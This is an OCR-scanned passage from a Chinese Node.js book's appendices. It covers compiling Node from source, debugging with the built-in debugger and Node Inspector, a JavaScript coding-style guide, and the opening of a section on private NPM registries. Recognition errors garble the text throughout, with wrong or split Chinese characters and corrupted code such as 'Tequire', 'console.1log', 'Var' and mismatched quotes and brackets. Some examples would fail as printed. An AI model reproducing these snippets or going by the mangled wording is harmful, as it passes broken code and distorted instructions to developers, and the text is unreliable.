creating ./config.mk 


Node 采 用 GYP 工 具 构 建 项 目 。 执 行 ./configure 之 后 ， 除 了 得 到 以 上 配置 结果 外 ， 还 会 在 目 
录 下 生成 config.gypi 和 config.mk 文 件 。 执 行 make 命 令 后 ， 将 根据 这 两 个 文件 进行 Node 的 编译 。 

编辑 的 过 程 是 一 个 相对 宛 长 的 时 间 ,最 终 会 在 ouVRelease 目 录 下 得 到 node 文 件 。 执 行 sudo make 
instal1 会 将 node 的 相关 头 文件 和 二 进 制 文件 安装 到 Asrlocal 下 的 lib 或 bin 目 录 下 : 


$ make 
$ [sudo] make install 


执行 node -v 和 npm -Vv 命令 ， 可 以 校 验 是 否 安 沪 成 功 : 


$ node -v 
vO.8.14 

$ npm -Vv 
1.1.65 


事实 上 ,这些 操作 在 Mac 系 统 下 也 一 样 有 效 。 如 果 你 是 一 个 喜欢 尝鲜 的 人 ,可 以 尝试 从 Node 
的 git 仓 库 中 得 到 最 新 的 源 代码 进行 编译 安装 ， 以 体验 最 新 的 功能 


$ git clone https://github.com/joyent/node.git 
$ cd node 


执行 git tag 命 令 ， 你 会 得 到 有 史 以 来 的 标签 ( tag )。 找 到 最 新 的 标签 ， 执 行 git checkout 
<version> 切 换 到 标签 上 进行 编译 即 可 。 


A.4 总结 


在 安 效 完 Node 后 ， 可 以 试看 用 目 己 喜欢 的 文本 编辑 从 将 官方 的 经 典 示例 保存 为 example.js 文 
件 ， 示 例 代 码 如 下 : 
var http = Tequire( http ) ; 
http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 
}).listen(1337, '127.0.0.1'); 
console.log('Server running at http://127.0.0.1:1337/'); 


然后 执行 node example.js 命 令 ， 看 看 是 否 可 以 得 到 如 下 结果 : 


Server running at http://127.0.0.1:1337/ 


用 浏览 器 试 着 打开 这 个 地 址 ， 看 看 是 否 得 到 Hello Wor1d 的 输出 结果 。 如 果 可 以 得 到 这 个 结 
末 ， 那么 茶 襄 你 安装 过 成 功 了 。 


A.5 参考 资源 


本 附录 参考 的 资源 为 https://github.com/joyent/node/wiki/Installation Installation。 
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调试 Node 


JavaScript 作 为 Node 的 主要 编程 语言 。 在 大 多 数 的 脚本 语言 中 ,调试 是 一 项 比较 肪 烦 的 事情 ， 
JavaScript 也 不 例外 。 在 Firefox 浏 览 关 的 Firebug 插 件 出 现 之 前 ， 主 流 的 JavaScript 调 试 方式 是 在 代 
码 中 编写 alert() ， 这 种 糟糕 的 调试 体验 之 前 存在 了 很 入。 对 于 Node 而 言 ， 调 试 的 方式 则 不 会 像 
时 期 Web 开 发 那么 糟糕 。 这 篇 附录 将 会 介绍 Node 开 发 中 主要 的 儿 种 调试 方法 。 


B.1 Debugger 


Node 的 调试 直接 受益 于 V8。V8 提 供 了 标准 的 调试 API， 使 得 可 以 从 进程 内 部 进行 调试 。 同 
时 还 提供 了 基于 该 API 的 TCP 调 试 协议 ， 使 得 通过 调试 协议 ， 可 以 从 进程 外 进行 代码 调试 。Node 
内 建 了 调试 协议 的 客户 端 ， 所 以 在 启动 时 带 上 debug 参 数 就 可 以 实现 对 JavaScript 代 码 的 调试 。 

在 进行 调试 前 ， 需 要 通过 debugger; 语句 在 代码 中 设置 断 点 ， 这 样 在 执行 时 代码 会 形成 中 断 。 
以 下 为 断 点 设置 示例 : 


// myscript.js 

Xx 53 

setTimeout(function () { 
debugger; 
console.log("world"); 

}，1000); 

console.1log("hello"); 


执行 上 述 代码 时 ， 在 命令 行 中 加 入 debug。 添 加 debug 在 命令 中 后 ，Node 会 开局 调试 功能 ， 内 
建 的 客户 站 会 与 V8 建立 连接 。 下 面 的 输出 为 执行 结 


$ node debug examples/B/myscript.]js 
< debugger listening on port 5858 
connecting... ok 
break in examples/B/myscript.js:2 
1 // myscript.js 

2x=5; 

3 setTimeout(function () { 

4 debugger; 
debug> 


代码 在 执行 到 debugger; 语 句 后， 中 止 了 执行 ， 并 出 现 输入 交互 提示 ， 等 待 输入 指令 后 执行 
后 续 操作 。 
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这 里 需要 说 明 一 下 ，Node 的 调试 客户 闪 并 没有 文 持 V8 的 所 有 命令 ， 只 有 简单 的 步 进 和 检查 


其 中 步 进 指 令 主要 有 如 下 几 个 。 

口 cont 或 c。 继 续 执行 。 

口 next 或 n。 执 行 到 下 一 个 汤 点 。 

口 step 或 s。 步 进 到 函数 内 部 。 

口 out 或 o。 从 函数 内 部 跳出 。 

D pause。 和 暂停 执行 。 

通过 断 点 进入 交互 提示 后 ， 可 以 通过 步 进 指令 逐 方 法 地 调试 。 

通过 步 进 指令 ， 还 可 以 继续 设置 断 点 。V8 提 供 了 如 下 几 种 设置 断 点 和 清除 断 点 的 方法 。 

口 setBreakpoint() 或 sb()。 在 当前 行 设置 断 点 

口 setBreakpoint(line) 或 sb(line)。 在 指定 的 行 设置 断 点 。 

口 setBreakpoint('fn()') 或 sb(...)。 在 国 数 体 的 第 一 个 声明 处 设置 断 点 。 

口 setBreakpoint('script.js'，1) 或 sb(...)。 在 脚本 文件 的 第 1 行 设置 断 点 。 

口 clearBreakpoint 或 cb(...)。 清 除 断 点 。 

除了 设置 断 点 外 ， 在 中 断后 进行 调试 时 ， 还 可 以 查看 一 些 信息 。 这 些 信息 指令 如 下 所 示 。 

口 backtrace 或 pt。 打印 当前 执行 情况 下 的 堆栈 信息 。 

口 list(5)。 列 出 当前 上 下 文 前 后 5 行 的 源 代码 。 

口 watch(expr)。 添 加 表达 式 到 观察 列表 ， 进 行 观察 。 

D unwatch(expT)。 从 观察 列表 中 移 除 对 表达 陈 的 观察 。 

D watchers。 列 出 所 有 观察 的 表达 式 和 但 。 

D rep1l。 打 开 调 试 的 交互 ， 用 于 执行 调试 脚本 的 上 下 文 。 

V8 的 调试 功能 除了 在 命令 行 中 通过 debug 可 以 启用 外 ， 对 于 已 经 运行 的 进程 ， 可 以 通过 癌 其 
发 送 SIGUSR1 信 号 启用 调试 。 假 设 通 过 如 下 命令 启动 了 一 个 服务 进程 : 

$ node server.]js 

通过 ps 命令 找 出 进程 的 ID ， 然 后 对 这 个 运行 中 的 进程 发 送 SIGUSR1 信 和 号， 命令 如 下 所 示 : 

$ kill -s USR1 10093 

在 原 有 的 进程 下 ， 可 以 看 到 接收 到 信号 并 启动 凋 试 客户 并 的 提示 信息 ， 如 下 所 示 : 

$ node server.]js 


Hit SIGUSR1 - starting debugger agent. 
debugger listening on port 5858 


调试 客户 端 启 动 后 ， 可 以 通过 浏览 融 访 问 http:/localhost:$S8$8/ 来 进行 调试 。 这 将 引入 我 们 下 
一 个 调试 工具 的 介绍 Node Inspector 工 具 就 是 在 这 个 基础 上 实现 的 图 形 界面 调试 。 


B.2 Node Inspector 


Node Inspector 工 具 是 基于 Debugger 和 Blink 开 发 者 工具 创建 的 调试 界面 。 在 代码 的 调试 功能 
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面 , 源 自 Node 为 V8 内 建 的 调试 代理 ,界面 交互 功能 则 来 自 Blink 的 开发 者 工具 。 带 有 Blink 开 发 
者 工具 的 浏览 大 有 Chrome、Opera。 这 香味 大 我 们 可 以 像 调 试 浏览 妖 中 的 JavaScript 代 人 码 一 样 调 试 
Node 中 的 JavaScript 代 人 码 。 


B.2.1 安装 Node Inspector 
在 使 用 Node Inspector 之 前 ， 需 要 通过 NPM 工 具 安装 它 为 全 局 命令 行 工具 ， 安 装 命令 如 下 所 示 : 


$ npm install -g node-inspector 


B.2.2 ”错误 堆栈 


使 用 Node Inspector 必 须 先 启用 Node 进 程 的 调试 模式 。 启 用 调试 模式 的 方式 在 前 文 有 过 介 
在 命令 行 中 使 用 debug 或 者 通过 发 送 SIGUSR1 给 Node 进 程 即 可 启用 调试 模式 。 

启动 Node 进 程 调试 后 ， 就 可 以 启动 Node Inspector 工 具 。Node Inspector 工 具 相 当 于 在 Blink 开 
发 者 工具 与 Node 进 程 的 调试 代理 之 则 建立 了 联系 。 启 动 命令 如 下 所 示 : 


$ node-inspector 
Node Inspector vO.5.0 


info - socket.io started 
Visit NG to start debugging. 


命令 行 中 输出 了 一 些 信 息 ， 这 时 可 以 打开 带 Blink 开 发 者 工具 的 浏览 器 访问 http://127.0.0.1: 
8080/debug?port=5858 开 始 丰 正 的 调试 。 打 开 浏 览 疾 后 会 出 现 如 图 B-1 这 样 的 界面 。 
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图 B-1 打开 浏览 从 后 的 调试 界面 


在 Sources 面 板 中 可 以 选择 具体 的 JavaScript 脚 本 设置 断 点 ， 后 续 的 调试 过 程 就 跟 在 浏览 带 中 
调试 JavaScript 一 样 。 
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B.3 总 结 


由 于 Node 主 要 运行 在 服务 天 中 ， 调 试 会 引起 执行 中 断 ， 进 而 中 断 服务 ， 不 利于 在 有 大 访 
问 量 的 情况 下 进行 。 调 试 只 适合 于 开发 阶段 ， 并 且 由 于 过 程 略 抹 烦 ,不 宜 在 开发 中 过 于 依赖 。 
更 好 的 方式 是 编写 良好 的 单元 测试 和 做 合理 的 日 志 记 录 ， 这 对 于 程序 开发 来 说 更 轻 量 ,信赖 
度 也 更 高 。 
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Node 编 码 规 汇 


C.1 根源 


JavaScript 作 为 一 门 编程 语言 , 在 语法 上 可 谓 是 最 为 灵活 的 语言 了 。 有 人 豆 欢 它 的 灵活 ,也 有 
人 讨厌 它 的 混乱 。 无 论 它 的 灵活 也 好 ， 混 乱 也 罢 ， 都 离 不 开 其 诞生 的 历史 。Brendan Eich 在 1995 
年 里 花 了 10 天 设计 出 了 这 门 语言 ， 其 后 微软 在 1996 年 也 发 布 了 支 持 JavaScript 的 浏览 硕 IE 3.0。 网 
景 公司 为 了 保护 自己 ， 在 1996 年 11 月 将 JavaScript 提 交 给 ECMA 标 准 化 组 织 ， 次 年 6 月 第 一 版 标准 
发 布 ， 命名 为 ECMAScript， 编 号 262。 

早年 的 JavaScript 编 写 十 分 混乱 。 它 的 灵活 性 和 容 仆 度 都 非常 高 , 使 得 开发 者 可 以 训 无 顾忌 地 
编码 , 最 终 导 人 致 它 在 一 定 程 度 上 呈 名 昭著 。 在 编码 规范 上 , 一 个 重要 的 人 物 是 Douglas Crockford ， 
他 是 JavaScript 开 发 社区 最 知名 的 权威 ， 是 JSON 、JSLint、JSMin 和 ADSafe 之 父 ， 其 中 JSLint 现 在 
仍然 是 最 重要 的 JavaScript 质 量 检测 工具 。 他 出 版 的 JavaScript: The Good Parts 一 书 对 于 JavaScript 
社区 影 啊 次 远 。 

通 币 ， 一 门 二 言 的 发 展 要 经 历 十 多 年 的 锤炼 才能 为 大 众 所 接 受 。 由 于 历史 原因 ，JavaScript 
在 短 短 的 时 间 内 束 被 标准 化 定型 ， 这 样 它 的 优点 和 缺点 都 参 露 在 大 众 之 下 。Douglas Crockford 的 
JSLint 和 .JavaScript: The Good Parts 对 JavaScript 的 贡献 在 于 ， 他 让 我 们 能 够 甄别 语言 中 的 精华 和 
糟粕 ， 写 出 更 好 的 代码 。 

与 其 他 语言 ( 比如 Python 或 Ruby ) 的 程序 员 相 比 ，JavaScript 程 序 员 和 需要 更 多 的 上 自律 才能 够 写 
出 吻 谈 、 吻 维护 的 代码 。 为 避免 这 个 问题 ， 部 分 开发 者 选择 TypeScript 或 CoffeeScript 来 编写 应 用 。 
但 我 认为 了 解 一 门 语 言 为 何 是 当下 这 种 情况 是 有 必要 的 。 编码 规 匈 的 目的 是 在 一 定 程度 上 约束 程 
序 员 ， 使 之 能 够 在 团队 中 史 维 护 并 且 避 免 低 级 错误 。 

尽管 JavaScript 规 范 已 经 相当 成 束 ， 利 用 JSLint 能 够 解决 大 部 分 问题 ， 但 是 随 厦 Node 的 流行 ， 
审 来 了 一 些 新 的 变化 ,这 些 需 要 引起 我 们 注意 。 本 附录 是 在 总 结 了 JavaScript 的 编码 规范 的 基础 上 ， 
根据 Node 的 特殊 环境 和 社区 的 习惯 进行 改进 而 成 。 
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C.2 编码 规范 


C.2.1 空格 与 格式 


1. 缩 进 

采用 2 个 空格 缩 进 ， 而 不 是 tab 缩 进 。 空格 在 编辑 融 中 与 字符 是 等 宽 的 ， 而 tab 可 能 因 编辑 融 
的 设置 不 同 。2 个 空格 会 让 代码 看 起 来 更 紧凑 、 明 快 。 

2. 变量 声明 

永远 用 var 声 明 变 量 ， 不 加 var 时 会 将 其 变 成 全 局 变量 ， 这 样 可 能 会 意外 污染 上 下 文 ， 或 是 被 
意外 污染 。 在 ECMAScript 5 的 strict 模 式 下 ， 未 声明 的 变量 将 会 耳 接 抛 出 ReferenceError 异 常 。 

需要 说 明 的 是 ， 每 行 声 明 都 应 该 带 上 var， 而 不 是 只 有 一 个 var， 示 例 代 码 如 下 : 


var assert = require('assert'); 

var fork = require('child process').fork; 

var net = require('net'); 

Var EventEmitter = require('events').EventEmitter; 


错误 示例 如 下 所 示 : 


var assert = require('assert') 
， fork = require('child process').fork 
，net = require('net') 
， EventEmitter = require('events').EventEmitter; 


3. 空格 
在 操作 符 前 后 需要 加 空格 ， 比 如 +、- 、*、%、= 等 操作 符 前 后 都 应 该 存在 一 个 空格 ， 示 例 
如 下 : 


var foo = 'bar' + baz; 
错误 的 示例 如 下 所 示 : 

var foo='bar'+baz; 

此 外 ， 在 小 括号 前 后 应 该 存在 空格 ， 如 : 


if (true) { 
// some code 


} 
错误 的 示例 如 下 所 示 : 


if(true)t{ 
// some code 


bl 

4. 单 双 引 号 的 使 用 

由 于 双 引 号 在 别 的 场景 下 使 用 较 多 ， 在 Node 中 使 用 字符 串 时 尽量 使 用 单 引 号 ， 这 样 无需 转 
义 ， 如 : 
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var html = '<a href="http://cnodejs.org">CNode</a>'; 

而 在 JSON 中 ， 严 格 的 规范 是 要 求 字 符 串 用 双 引 号 ， 内 容 中 出 现 双 引 号 时 ， 需 要 转 义 。 
5. 大 丘 号 的 位 置 

一 般 情 况 下 ， 大 括号 无 需 为 起 一 行 ， 如 

if (true) { 


// some code 


} 
错误 的 示例 如 下 : 


if (true) 
{ 


// some code 


} 
6. 过 号 
逗号 用 于 变量 声明 的 分 隅 或 是 元 素 的 分 隔 。 如 果 喜 号 不 在 行 结尾 , 前 面 需要 一 个 空格 。 此外， 


逗号 不 允许 出 现在 行 首 ， 比 如 : var foo = 'hello'，bar = 'world'; // 或 是 var hello = { foo: 
'hello'，bar: 'world'}; // 或 是 var world = ['hello'，'world']; 错 误 示 例如 下 : 


解 ， 


var foo = 'hello' 
，bar = 'world'; 
// 或 是 


var hello = {foo: 'hello' 
，bar: ‘world' 

}; 

// 或 是 

var world = |[ 
'hello' 
， WOT]d 


] ; 

7. 分 号 

给 表达 式 结 尾 添 加 分 号 。 尽 管 JavaScript 编 详 希 会 目 动 给 行 尾 添加 分 号 , 但 还 是 会 市 来 一 些 误 
示例 如 下 : 


function add() { 
Var as 1 bs2 
return 
a+b 


} 
将 会 得 到 undefined 的 返回 值 。 因 为 自动 加 入 分 号 后 会 变 成 如 下 的 样子 : 
function add() { 

var a = 1; .b= 2; 

return; 


a + b; 


} 
后 续 的 a + b 将 不 会 执行 。 
而 如 下 的 代码 : 
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X = y 
(function () { 
}()) 


执行 时 会 得 到 : 
x = y(function () {}()) 
由 于 目 动 添加 分 志 可 能 市 来 未 预期 的 结果 ， 所 以 添加 上 分 所 有 助 于 避免 误会 。 


C.2.2 命名 规范 


在 编码 过 程 中 , 命名 是 重头 戏 。 好 的 命名 可 以 令 代码 赏心悦目 , 融 来 愉悦 的 阅读 享受 , 令 代 
码 具 有 良好 的 可 维护 性 。 命 令 的 主要 范畴 有 变量 、 和 常量 、 方 法 、 类 、 文 件 、 包 等 。 
1. 变量 命 
变量 名 都 采用 小 驼峰 式 命 名 , 即 除了 第 一 个 单词 的 首 字母 不 大 写 外 , 每 个 单词 的 首 字 母 都 大 
词 与 词 之 则 没有 任何 符号 ， 如 : 
var adminUser = {}; 
错误 的 示例 如 下 : 
var admin user = {}; 
2. 方法 命名 
方法 命名 与 变量 命名 一 样 ， 采 用 小 驼 峰 式 命名 。 与 变量 不 同 的 是 ,方法 名 尽量 采用 动词 或 判 
断 行 词汇 ， 如 : 


var getUser = function () {}; 
var isAdmin = function () {}; 
User.prototype.getInfo = function () {}; 


错误 示例 如 下 : 


var get user = function () {}; 
var is admin = function () {}; 
User.prototype.get info = function () {}; 


3. 类 命名 


类 名 采用 大 驼峰 式 命名 ， 即 所 有 单词 的 首 了 字母 部 大 写 ， 如 : 


function User { 


0 


4. 常量 命名 

作为 常量 时 ， 单 词 的 所 有 字母 都 大 写 ， 并 用 下 划 线 分 割 ， 如 : 

var PINK_COLOR = “pink ; 

5. 文件 命 

命名 文件 时 ,请 尽量 采用 下 划 线 分 割 单词 ， 比 如 child process.js 和 strine decode.js。 如 果 你 不 
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想 将 文件 又 露 给 其 他 用 户 ， 可 以 约定 以 下 划 线 开头 ， 如 _linklistjs。 

6. 包 名 

也 许 你 有 贡献 模块 并 将 其 打包 发 布 到 NPM 上 。 在 包 名 中 ， 尽 量 不 要 包含 j$ 或 node 的 字样 ， 它 
是 重复 的 。 包 名 应 当 适 当 短 上 且 有 意义 的 ， 如 : 


var express = require('express'); 


C.2.3 ”比较 操作 


在 比较 操作 中 ， 如 采 是 无 容 恳 的 场景 ， 请 尽量 使 用 === 代 蔡 ==， 否 则 你 会 遇 到 下 面 这 样 不 符 
合 逻 辑 的 结果 : 
'0' == 0; // true 
'" == 0 // true 
'0' === '' // false 
此 外 ， i 可 以 无 需 使 用 === 或 ==。 在 下 面 的 代码 中 ， 当 foo 是 0、undefined、 
null 、false 、'' 时 ， 都 会 进入 分 支 . 


if (!foo) { 
// Some code 


C.2.4 字面 旺 


请 尽量 使 用 {}、[] 代 蔡 new 0bject() 、new Array()， 不 要 使 用 string、bool、number 对 象 类 
型 ， 即 不 要 调用 new String、new Boolean 和 new Number。 


C.2.5 ”作用 域 


在 JavaScript 中 , 需要 注意 一 个 关键 字 和 一 个 方法 , 它们 是 with 和 eval(), 容易 引起 作用 域 混乱 。 
1. 慎 用 with 
示例 代码 如 下 : 


with (obj) { 
foo = bar; 


} 

它 的 结果 有 可 能 是 如 下 四 种 之 一 : obj.foo = obj.bar;、obj.foo = bar;、foo = bar;、foo = 
obj.bar;， 这 些 结果 取决 于 它 的 作用 域 。 如 果 作 用 域 链 上 没有 导致 冲突 的 变量 存在 ,使 用 它 则 是 
安全 的 。 但 在 多 人 合作 的 项 目 中 ， 这 并 不 容易 保证 ， 所 以 要 愤 用 with。 

2. 慎 用 eval() 

恒 用 eval() 的 原因 与 with 相同 。 如 采 不 影响 作用 域 上 已 存在 的 变量 ， 用 它 是 安全 的 。 夯 外 ， 
利用 eval() 的 这 个 特性 ， 也 可 以 玩 出 一 些 好 玩 的 特性 来 ， 比 如 wind.js 利 用 它 实 现 了 流程 控制 ， 详 

见 第 4 章 。 在 大 多 数 情况 下 ， 基 本 上 轮 不 到 eval() 来 完成 特殊 使 命 。 示 例 代 码 如 下 : 
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var obj = { 
foo: 'hello’', 
bar: “WoT]d 
局 
var key = (Math.round(Math.random() * 100) % 2 === 0) ? 'foo' : 'bar'; 
var value = eval('(obj.' + key + ')'); 


上 述 代 码 多 出 现在 新 手中 ， 实 际 只 要 如 下 一 行 代码 即 可 完成 : 


var value = obj[key]; 


C.2.6 ”数组 与 对 象 


在 JavaScript 中 ， 数 组 其 实 也 是 对 象 ， 但 是 两 者 在 使 用 时 有 些 细节 需要 注意。 

1. 字面 量 格式 

创建 对 象 或 者 数组 时 , 注意 在 结尾 用 逗号 分 隔 。 如 果 分 行 ,一行 只 能 一 个 元 素 , 示例 代码 如 下 : 
var foo = ['hello', 'world'|; 

var bar = { 


hello: “wor1d ， 
pretty: “Code 


错误 示例 如 下 所 示 : 


var foo = ['hello', 
'world' ]; 
var bar = { 
hello: ‘world', pretty: 'code' 
2. for in 循环 
使 用 for in 循 环 时 ， 请 对 对 象 使 用 ， 不 要 对 数组 使 用 ， 示 例 代 码 如 下 : 


var foo = [|]; 

foo[100] = 100; 

for (var i in foo) { 
console.1log(i); 


for (var i = 0; i «< foo.length; i++) { 
console.1log(i); 


在 上 述 代 码 中 ， 第 一 个 循环 只 打印 一 次 ， 而 第 二 个 循环 则 打印 0~100， 这 并 不 满足 预期 信 。 
3. 不 要 把 数组 当做 对 象 使 用 
尽管 在 JavaSceript 内 部 实现 中 可 以 把 数组 当做 对 象 来 使 用 ， 如 下 所 示 : 


var foo = [1, 2, 3]; 
foo[ 'hello'| = "world'; 


这 在 for jin 迭代 时 ， 会 得 到 所 有 值 : 


for (var i in foo) { 
console.log(foo[i]); 
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也 许 你 只 是 想得到 hello 而 已 。 


C.2.7 异步 


在 Node 中 ， 异 步 使 用 非常 广泛 并 且 在 实践 过 程 中 形成 了 一 些 约定 ， 这 是 以 往 不 曾 在 意 的 点 。 

1. 异步 回调 函数 的 第 一 个 参数 应 该 是 错误 指示 

该 部 分 内 容 在 第 4 章 中 有 所 提 及 。 并 不 是 所 有 回调 卫 数 都 需要 将 第 一 个 参数 设计 为 错误 对 和 象 。 
但 是 一 旦 涉及 异步 ， 将 会 导致 try catch 无 法 捕获 到 异步 回调 期 的 异常 。 将 第 一 个 参数 设计 为 错 
误 对 象 ， 告 知 调用 方 是 一 个 不 错 的 约定 。 示 例 代码 如 下 : 

function (err, data) { 

}; 

这 个 约定 被 很 多 流程 控制 库 所 采用 。 遵 循 这 个 约定 , 可 以 享受 社区 流程 控制 库 带 来 的 业务 编 
写 便利 。 

2. 执行 传 入 的 回调 函数 

在 异步 方法 中 一 旦 有 回调 函数 传人 ， 就 一 定 要 执行 它 ， 且 不 能 多 次 执行 。 如 末 不 执行 ,可 能 
造成 调用 一 直 等 竺 不 结束 ， 多 次 执行 也 可 能 会 造成 未 期 望 的 结 


C.2.8 ”类 与 模块 


关于 如 何在 JavaScript 中 实现 继承 ， 有 各 种 各 样 的 方式 ， 但 在 Node 中 我 们 只 推荐 一 种 ， 那 
就 是 类 继承 的 方式 。 为 外， 在 Node 中 ， 如 有 果 要 将 一 个 类 作为 一 个 模块 ， 就 需要 在 童 它 的 导出 
一 般 情 况 下 ， 我 们 采用 Node 推 荐 的 类 继承 方式 ， 示 例 代 码 如 下 : 
function Socket(options) { 
Sy 


A a 
} 


util.inherits(Socket, stream.Stream); 
.导出 
所 有 供 外 部 调用 的 方法 或 变量 均 需 挂 载 在 exports 变 量 上 。 当 需要 将 文件 当做 一 个 类 导出 时 ， 
需要 通过 如 下 的 方式 挂 载 : 
module.exprots = Class; 
而 不 是 通过 
exports = Class; 


私有 方法 无 需 因 为 测试 等 原因 导出 给 外 部 ， 所 以 无 须 挂 载 。 
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C.2.9 注解 规 邯 


一 般 情 况 下 ， 我 们 会 对 每 个 方法 编写 注释 ， 这 里 采用 dox 的 推荐 注释 ， 示 例如 下 : 
/** 
* Queries some records 


* Examples: 
米 


* query( "SELECT * FROM table', function (err, data) { 
* // some code 
* 


. 


* @param {String} sql Queries 

* @param {Function} callback Callback 

A 
exports.query = function (sql, callback) { 
A ns 
a 


dox 的 注释 规范 源 自 于 JSDoc。 可 以 通过 注释 生成 对 应 的 API 文 档 。 
C.3 最 住 实践 

细致 的 编码 规范 有 很 多 ， 有 争议 的 也 少 ， 但 这 并 不 阻碍 我 们 找到 共同 点 。 
C.3.1 冲突 的 解决 原则 


如 条 你 要 页 献 部 分 代码 给 某 个 开源 项 目 , 而 它 的 编码 规范 与 你 并 不 相同 , 这 种 情况 下 需要 采 
用 入 乡 随 俗 的 原则 ， 尽 量 这 循 开源 项 目 本 身 的 编码 规范 而 不 是 目 己 的 编码 规范 。 


C.3.2 ”给 编辑 器 设置 检测 工具 


实际 上 ， 现 在 的 编辑 器 基本 上 都 可 以 通过 安装 插件 的 方式 将 JSLint 或 者 JSHint 这 样 的 代码 质 
量 扫 摘 工 具 集 成 进 开发 环境 中 ， 这 样 编码 完成 后 就 可 以 及 时 得 到 提示 。 

如 果 采 用 的 是 Sublime Text 2 编辑 右 ， 在 安装 好 插件 后 ， 可 以 在 项 目 中 配置 jshintrc 文 件 ， 
次 保存 都 会 在 编辑 器 中 提醒 不 规范 的 信息 。 

如 下 是 我 某 个 项 目的 .jshintre 文 件 ， 仪 供 参 考 . 


"predef": |[ 
"document",， 
"module", 
"require", 
”_dirname ， 
"process", 
"console", 
,Ts 
"xit", 
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"describe", 
"xdescribe", 
"before", 
"beforeEach", 
"after", 
"afterEach" 


node": true, 
"es5": true, 
"bitwise": true, 
"curly": true, 
"eqeqeq" : true, 
"forin": false, 
"immed": true, 
"latedef": true, 
"newcap": false, 
"noarg": true, 
"noempty": true, 
"nonew": true, 
"plusplus": false, 
"undef": true, 
"strict": false, 
"trailing": false, 
"globalstrict": true, 
"nonstandard": true, 
"white": true, 
"indent": 2， 
"expr": true, 
"multistr": true, 
"onevar": false, 
"unused": "vars", 
"swindent": false 


} 


C.3.3 版 本 控制 中 的 hook 

另 一 种 最 佳 实践 是 在 版 本 欣 制 工具 中 完成 的 。 无 论 SVN 还 是 Git， 都 有 precommit 这 样 的 钩子 
脚本 ， 通 过 在 提交 时 实现 代码 质量 的 检查 。 如 果 质 量 不 达标 ， 将 停止 提交 。 
C.3.4 ”持续 集成 


持续 集成 包含 两 个 方面 : 一 方面 仍 是 代码 质量 的 扫描 , 可 以 选择 定时 扫描 , 或 是 触发 式 扫描 ; 
为 一 方面 可 以 通过 集中 的 平台 统计 代码 质量 的 好 坏 变 化 趋势 。 根据 统计 结 采 可 以 判定 团队 中 的 个 
人 对 编码 规范 的 执行 情况 ， 决 定 用 宽松 的 质量 管理 方式 还 是 严格 的 方式 。 


C.4 总结 
代码 质量 关乎 产品 的 质量 ,最 容易 改进 的 地 方 即 是 编码 规范 ,收效 也 是 最 高 的 ， 它 远 比 单元 
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测试 要 容易 付 诸 实践 。 一 旦 团队 制定 了 编码 规范 ， 就 应 该 严格 执行 , 严格 杜绝 团队 中 编码 规范 拖 
后 腿 的 现象 。 

也 许可 以 采用 CoffeeScript 的 方式 来 避 倪 编码 规范 的 问题 ， 但 是 我 相信 在 使 用 CoffeeScript 之 
前 ， 了 解 这 些 规 范 会 更 好 地 大助 你 理解 CoffeeScript。 

如 采 你 还 采用 非 编译 式 JavaScript 来 编写 你 的 应 用 , 请 记 住 这 些 编码 规范 。 尽 管 因 为 历史 原因 
无 法 一 步 到 位 改进 这 些 缺点 ， 但 是 既然 知晓 何 为 优秀 ， 何 为 糟粕 ， 就 应 该 将 优秀 当做 一 种 习惯 。 


C.5 参考 资源 


本 附录 参考 的 资源 如 下 : 

DQ http://google-styleguide.googlecode.com/svn/trunk/Javascriptguide.xml 
DQ http://caolanmcmahon.com/posts/node]s style and structure/ 

DQ http://nodeguide.com/style.html Felix’s Node.]S 

D https://npmjs.org/doc/coding-style.html NPM 
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搭建 局 域 NPM 仓 库 


第 2 章 提 到 了 NPM， 它 由 现今 Node 的 掌 门 人 Isaac Z. Schlueter 创 建 。 最 初 ，NPM 与 Node 各 自 
发 展 ， 在 Node v0.6.3 时 ， 它 成 为 Node 的 一 部 分 。NPM 的 出 现 完善 了 Node 模 块 的 整个 生态 链 ， 让 
第 三 方 模块 更 为 多 用 ,让 依赖 定理 成 为 很 轻松 容易 的 事情 ,促进 整个 生态 圈 民 性 发 展 。 如 今 , 在 
GitHub 上 托管 源 代码 ， 在 NPM 上 发 布 模块 ， 在 代码 中 使 用 第 三 方 模块 包 ， 这 三 者 形成 Node 应 用 
的 闭环 。 这 在 开源 社区 中 是 极度 流行 的 模式 。 

但 是 在 开源 社区 中 极度 适合 的 应 用 模式 并 不 一 定 适合 一 些 企 业内 部 ,目前 , 在 官方 JPM 上 还 
存在 一 些 问 题 ， 主 要 体现 在 如 下 几 个 方面 。 

口 模块 质量 良 邯 不 齐 。 

口 私有 模块 保密 、 共 享 、 安 状 和 更 新 的 问题 。 

口 版 本 控制 存在 风险 。 

口 模块 安装 速度 无 法 保障 。 

对 于 企业 应 用 而 言 , 它们 更 看 重 稳定 和 质量 。 社区 中 模块 数量 非常 多 , 不 乏 很 多 优秀 的 模块 ， 
但 是 大 部 分 模块 的 质量 仍然 不 合格 ， 企 业 在 使 用 时 需要 考量 其 安全 性 。 

对 于 企业 而 言 ,企业 目 行 编写 的 模块 出 于 保密 等 考量 ,无 法 将 模块 发 布 到 公共 的 NPM 平 全 上 ， 
这 对 私有 模块 的 共享 、 安 装 和 更 新 都 造成 应 用 层面 上 的 困扰 。 

NPM 人 允许 通过 添加 - -force 进 行 强 制 发 布 ， 尽 管 它 会 发 出 警告 ， 但 是 对 于 控制 权 不 在 目 己 手 
中 的 模块 ， 履 盖 性 发 布 可 能 造成 无 法 预料 的 风险 。 模 块 可 能 在 两 次 安装 之 间 版 本 号 相同 , 但 是 内 
容 其 实 已 经 不 同 了 ， 这 补 来 的 风险 是 相当 不 可 欣 的 。 

另外 ， 公 共 NPM 仓 库 是 托管 在 Iris Couch 的 云 平台 上 ， 服 务 并 没有 对 中 国 的 网 络 环境 进行 过 
优化 ， 曾 经 一 度 受 到 一 些 网 络 环境 市 来 的 影响 ， 无 法 保证 稳定 性 。 

上 述 这 些 原因 都 促使 企业 应 当 有 自己 的 局 域 NPM 仓 库 , 为 此 , Node v0.10.0 发 布 时 , Isaac Z. 
Schlueter 提 到 Iris Couch 基 于 其 运营 NPM 公 共 仓 库 的 经 验 ， 他 们 团队 为 此 推出 了 irisnpm 服 务 来 
运行 私有 NPM 仓 库 。 通 过 在 irisnppm 站 点 上 注册 可 以 申请 该 服务 。 除 了 使 用 irisnpm 的 服务 外 ， 
我 们 还 可 以 自行 搭建 NPM 仓 库 。 自 行 搭 建 NPM 仓 库 ， 可 以 实现 企业 内 部 仓库 与 社区 公共 仓库 
